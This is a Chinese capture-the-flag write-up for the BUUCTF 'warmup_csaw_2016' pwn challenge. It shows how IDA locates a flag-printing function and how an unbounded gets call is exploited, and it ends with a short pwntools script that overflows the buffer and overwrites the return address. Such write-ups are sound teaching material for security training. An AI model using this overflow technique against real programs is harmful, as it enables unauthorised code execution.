[BUUCTF]PWN3——warmup_csaw_2016

[BUUCTF]PWN3——warmup_csaw_2016

题目网址:https://buuoj.cn/challenges#warmup_csaw_2016

步骤
例行检查,64位,没有开启任何保护
在这里插入图片描述
nc一下,看看输入点的字符串,看到回显了一个地址,之后让我们输入,输入完之后就退出了
在这里插入图片描述
用64位ida打开附件,首先shift+f12查看程序里的字符串,可以看到有一个“cat flag.txt”字符串引人注目
在这里插入图片描述
双击字符串跟进,ctrl+x查看哪个函数调用了这个字符串,找到函数后按f5反编译成我们熟悉的伪代码

在这里插入图片描述
可以看到sub_40060D()这个函数的作用就是输出flag的文件信息,记一下这个函数地址,flag_addr=0x40060D

之后回到查看字符串的窗口,根据之前nc时看到的字符串找到输入点
(我们一般做题的时候应该从main函数开始看程序,了解程序的逻辑,只是我感觉根据nc得到的输入点的字符串能更快的找到输入点,看看输入点是否存在漏洞,一般输入点的函数就是main函数,或者被main函数调用)
在这里插入图片描述
输入点在第11行,gets函数没有限制我们写入字符串的长度,存在溢出漏洞,然后看到ida反编译出来v5的大小是0x40,只要我们输入的字符串长度=0x40+8(64位ebp的长度)即可溢出到返回地址,然后将返回地址覆盖成读出flag的那个函数地址即可完成利用

from pwn import*

r=remote('node3.buuoj.cn',27119)
flag_addr=0x40060D

payload='a'*(0x40+8)+p64(flag_addr)

r.sendline(payload)
r.interactive()

在这里插入图片描述

原文地址:https://www.cnblogs.com/xlrp/p/14273730.html